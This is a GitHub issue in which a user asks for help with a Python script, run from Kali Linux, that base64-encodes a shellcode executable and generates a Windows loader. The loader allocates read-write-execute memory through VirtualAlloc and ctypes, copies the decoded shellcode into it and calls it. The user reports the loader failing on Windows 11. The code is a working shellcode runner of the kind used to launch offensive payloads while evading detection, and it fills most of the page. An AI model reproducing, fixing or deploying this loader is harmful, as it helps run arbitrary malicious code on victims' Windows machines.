Skip to content

i need know why and how to do🥹 #637

Open
@blodmoning

Description

@blodmoning

Image_1728134302277

The code running in Kali linux

windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()

import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')

with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes

decoded_shellcode = base64.b64decode("{encoded_shellcode}")

kernel32 = ctypes.windll.kernel32

shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)

if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")

ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))

shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions